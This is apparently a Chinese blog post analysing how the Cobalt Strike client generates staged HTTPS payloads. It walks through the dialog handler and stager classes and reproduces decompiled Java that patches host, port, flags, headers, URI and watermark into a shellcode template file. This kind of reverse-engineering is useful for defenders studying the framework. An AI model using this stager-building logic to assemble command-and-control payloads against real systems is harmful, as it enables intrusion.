前言:cobalt strike stage payload 生成分析笔记,这里主要学习cs如何进行构造payload
分阶段stage payload生成
这里的话主要分析就是客户端中的aggressor.dialogs.WindowsExecutableStageDialog#dialogAction
如上图所示点击generate,这个部分主要就是在窗口上进行选择相关的选项,然后进行生成的入口点
获取相关的payload的系统位数和对应的listener,然后调用getPayloadStager
boolean var3 = DialogUtils.bool(var2, "x64");
String var4 = DialogUtils.string(var2, "listener");
this.stager = ListenerUtils.getListener(this.client, var4).getPayloadStager(var3 ? "x64" : "x86");
getPayloadStager中先调用了getPayload,获取通信的类型,我这里选择的是https
接着就是走到stagers.Stagers#shellcode方法中,这里会通过stagers.Stagers#resolve方法,该方法会根据对应的listener和系统位数获得一个GenericStager对象来进行使用
接着就是通过stagers.GenericStager#generate
- 首先通过CommonUtils.resource(this.getStagerFile());拿到对应的stage文件的样本,我这里生成的是resources/httpsstager.bin
public String getStagerFile() {
return "resources/httpsstager.bin";
}
如果你将resources/httpsstager.bin文件拖入到hex编辑器中,你会发现展示如下图所示
- CommonUtils.readAll(var1); 得到对应的字节流
- CommonUtils.bString(var2); 对上面读取的字节流进行ISO8859-1字符编码转换
- var3 = var3 + this.getListener().getStagerHost() + '\u0000'; 在末尾继续拼接通信的Host字段
public byte[] generate() {
try {
InputStream var1 = CommonUtils.resource(this.getStagerFile());
byte[] var2 = CommonUtils.readAll(var1);
String var3 = CommonUtils.bString(var2);
var1.close();
var3 = var3 + this.getListener().getStagerHost() + '\u0000';
Packer var4 = new Packer();
var4.little();
var4.addShort(this.getListener().getPort());
AssertUtils.TestPatchS(var2, 4444, this.getPortOffset());
var3 = CommonUtils.replaceAt(var3, CommonUtils.bString(var4.getBytes()), this.getPortOffset());
var4 = new Packer();
var4.little();
var4.addInt(1453503984);
AssertUtils.TestPatchI(var2, 1453503984, this.getExitOffset());
var3 = CommonUtils.replaceAt(var3, CommonUtils.bString(var4.getBytes()), this.getExitOffset());
var4 = new Packer();
var4.little();
var4.addShort(this.getStagePreamble());
AssertUtils.TestPatchS(var2, 5555, this.getSkipOffset());
var3 = CommonUtils.replaceAt(var3, CommonUtils.bString(var4.getBytes()), this.getSkipOffset());
var4 = new Packer();
var4.little();
var4.addInt(this.getConnectionFlags());
AssertUtils.TestPatchI(var2, this.isSSL() ? -2069876224 : -2074082816, this.getFlagsOffset());
var3 = CommonUtils.replaceAt(var3, CommonUtils.bString(var4.getBytes()), this.getFlagsOffset());
String var5;
if (CommonUtils.isin(CommonUtils.repeat("X", 303), var3)) {
var5 = this.getConfig().pad(this.getHeaders() + '\u0000', 303);
var3 = CommonUtils.replaceAt(var3, var5, var3.indexOf(CommonUtils.repeat("X", 127)));
}
int var6 = var3.indexOf(CommonUtils.repeat("Y", 79), 0);
var5 = this.getConfig().pad(this.getURI() + '\u0000', 79);
var3 = CommonUtils.replaceAt(var3, var5, var6);
return CommonUtils.toBytes(var3 + this.getConfig().getWatermark());
} catch (IOException var7) {
MudgeSanity.logException("HttpStagerGeneric: " + this.getStagerFile(), var7, false);
return new byte[0];
}
}
标签:var4,var3,var2,CommonUtils,cobalt,replaceAt,strike,payload
From: https://www.cnblogs.com/zpchcbd/p/16870856.html